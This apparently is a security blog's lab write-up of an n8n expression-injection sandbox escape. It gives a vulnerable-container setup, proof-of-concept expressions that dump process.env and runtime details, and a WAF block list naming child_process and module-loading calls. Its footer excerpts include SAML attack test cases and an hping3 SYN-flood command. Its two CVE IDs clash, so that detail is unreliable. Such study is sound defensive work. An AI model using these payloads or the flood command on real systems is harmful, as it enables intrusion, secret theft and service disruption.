Hands-on with n8n Expression Injection - CVE 2025-68613

Hands-on with n8n Expression Injection – Sandbox Escape Case Study

In this lab, I analyzed a critical expression injection flaw in n8n that allows authenticated workflow expressions to escape sandbox isolation and access the underlying Node.js runtime, resulting in potential Remote Code Execution (RCE).

Understanding the Execution Model

n8n allows users to embed expressions inside workflow nodes (Set, IF, HTTP Request, etc.) to compute dynamic values at runtime. These expressions are evaluated server-side by a Node.js-based engine.

When sandboxing assumptions fail, the execution flow becomes: 

Authenticated user
  → Workflow expression
    → Expression evaluation engine
      → Node.js runtime objects (process, require)
        → Sandbox escape
          → Potential RCE
---

Architecture Overview

High-Level Architecture

User Browser n8n Web UI Expression Engine Node.js Runtime

Understanding Payload Structure

All n8n expression payloads follow this pattern: 

{{ JavaScript_Code_Here }}

The {{ }} brackets tell n8n: “Evaluate this as a JavaScript expression.”

If sandbox restrictions are weak, the JavaScript code gains access to Node.js internals such as process, filesystem APIs, or module loading.

If the expression engine improperly exposes runtime objects, the workflow expression gains unintended execution capability.

---

Lab Environment Setup (Podman)

The lab was intentionally isolated and built using rootless Podman to minimize host risk. 


# Create lab directory
mkdir n8n-cve-lab
cd n8n-cve-lab
mkdir data

# Initialize Podman VM
podman machine init
podman machine start
---

Deploy Vulnerable n8n Version


# Vulnerable n8n (1.119.0)
podman run -d \
  --name n8n-vuln \
  -p 5678:5678 \
  -v $(pwd)/data:/home/node/.n8n:Z \
  -e N8N_BASIC_AUTH_ACTIVE=true \
  -e N8N_BASIC_AUTH_USER=labuser \
  -e N8N_BASIC_AUTH_PASSWORD=labpass \
  -e N8N_HOST=localhost \
  -e N8N_PORT=5678 \
  -e NODE_ENV=production \
  docker.io/n8nio/n8n:1.119.0

podman ps

Access UI: http://localhost:5678

---

Proof of Concept (Non-Destructive)

The following expressions were used to safely demonstrate sandbox escape without executing OS commands or modifying files. 


// Environment exposure
{{ (function() { return this.process.env; })() }}

// Node.js runtime fingerprinting
{{ process.version }}

// Execution context
{{ process.cwd() }}

Successful execution confirms access to Node.js internals, which is sufficient to classify the issue as RCE-class.

---

Patch Verification


# Deploy patched n8n
podman run -d \
  --name n8n-patched \
  -p 5678:5678 \
  -v $(pwd)/data:/home/node/.n8n:Z \
  -e N8N_BASIC_AUTH_ACTIVE=true \
  -e N8N_BASIC_AUTH_USER=labuser \
  -e N8N_BASIC_AUTH_PASSWORD=labpass \
  docker.io/n8nio/n8n:latest

Re-running the same expressions fails, confirming the sandbox fix.

---

Cleanup


podman stop n8n-patched
podman rm n8n-patched
podman machine stop
---

Immediate Remediation Options

Option 1: Upgrade (Recommended)


n8n --version

Expected: 1.122.0 or higher

Defense in Depth: WAF Rules

Block requests containing:


this.process
mainModule.require
child_process
process.binding
Module._load

Note: WAF rules alone are not sufficient protection. They should only complement patching and proper sandboxing.

Summary

ItemValue
Container runtimePodman (rootless)
Vulnerable version1.119.0
Patched version1.122.0 or latest
Attack vectorAuthenticated workflow expression
ImpactSandbox escape → potential RCE
CVE classCritical (Expression Injection)
CVE IDCVE-2024-23348
---

Comments

Post a Comment

Popular posts from this blog

Image
Securing AI: Safeguarding the Future of Intelligent Systems Featured Image: Unsplash Artificial Intelligence (AI) is revolutionizing industries, from healthcare to finance, by enabling automation, personalization, and data-driven decision-making. However, as AI systems grow more pervasive, their security vulnerabilities are becoming a critical concern. 📊 Quick Stat : By 2025, 30% of enterprises will prioritize AI-specific security tools to combat adversarial attacks ( Gartner ). Why AI Security Matters Source: Getty Images AI systems are not just code; they’re dynamic entities trained on vast datasets. Their security is critical because: High Stakes : AI powers autonomous vehicles, medical diagnostics, and critical inf...
Read more

SAML Security Test Cases

Signature Exclusion Attack -Test whether or not the SP accepts an Assertion without a Signature  Signature Spoofing attack -Test whether SP accepts fake signature or using previously generated/invalid signature Signature Wrapping Attack (8 Different Ways)-Test whether or not the SP is susceptible to Signature Wrapping XML Injection -Test if can inject malicious code into the SAML response from IDP, allowing them to execute arbitrary code on the SP server. XML Entity Expansion (XEE)/XXE -Test whether or not the SP is vulnerable to XML External Entities Replay attacks -Test if previously generated SAML response from IDP can be accepted by SP Certificate Faking/Self signed certificate -Test whether or not the SP verifies that the Assertion came from a trusted IDP/Test if SP accepts self-signed certificate XSLT Injection -Test whether or not the SP is vulnerable to XSLT Predictable signature -Test whether IDP generating guessable signature SAML message expiration -Test whether SP acc...
Read more

Simulating SYN Flooding Attack(DOS)

Image
  Basic 3 way TCP Handshake: State during Sync flooding attack   Example of DDOS attack with hping3  and kali linux: Note:  In this case both attacker’s system and victim server are in same network . Step#1: Victim server: 192.168.1.100 Step#2: Attacker’s system: 192.168.1.102 Step#3: Install hping3 in kali using below command # sudo apt-get install hping3 Step#4: Now, attacker will use hping3 or another tool to spoof IP random addresses, The using below command start and direct the SYN flood attack to our target (192.168.1.100): # hping3 -c 15000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.1.100 Now SYN flooding attack has started. Let’s explain in detail the above command: -c 150000 : Indicates that we are sending 15000 packets -d 120 : Indicates each packet is of 120 bytes -S : Specifying SYN flag should be enabled. -w 64: Indicates TCP window size of 64 -p 80: Specifying port to attack victims webserver at port 80 --rand-source: Used to generate...
Read more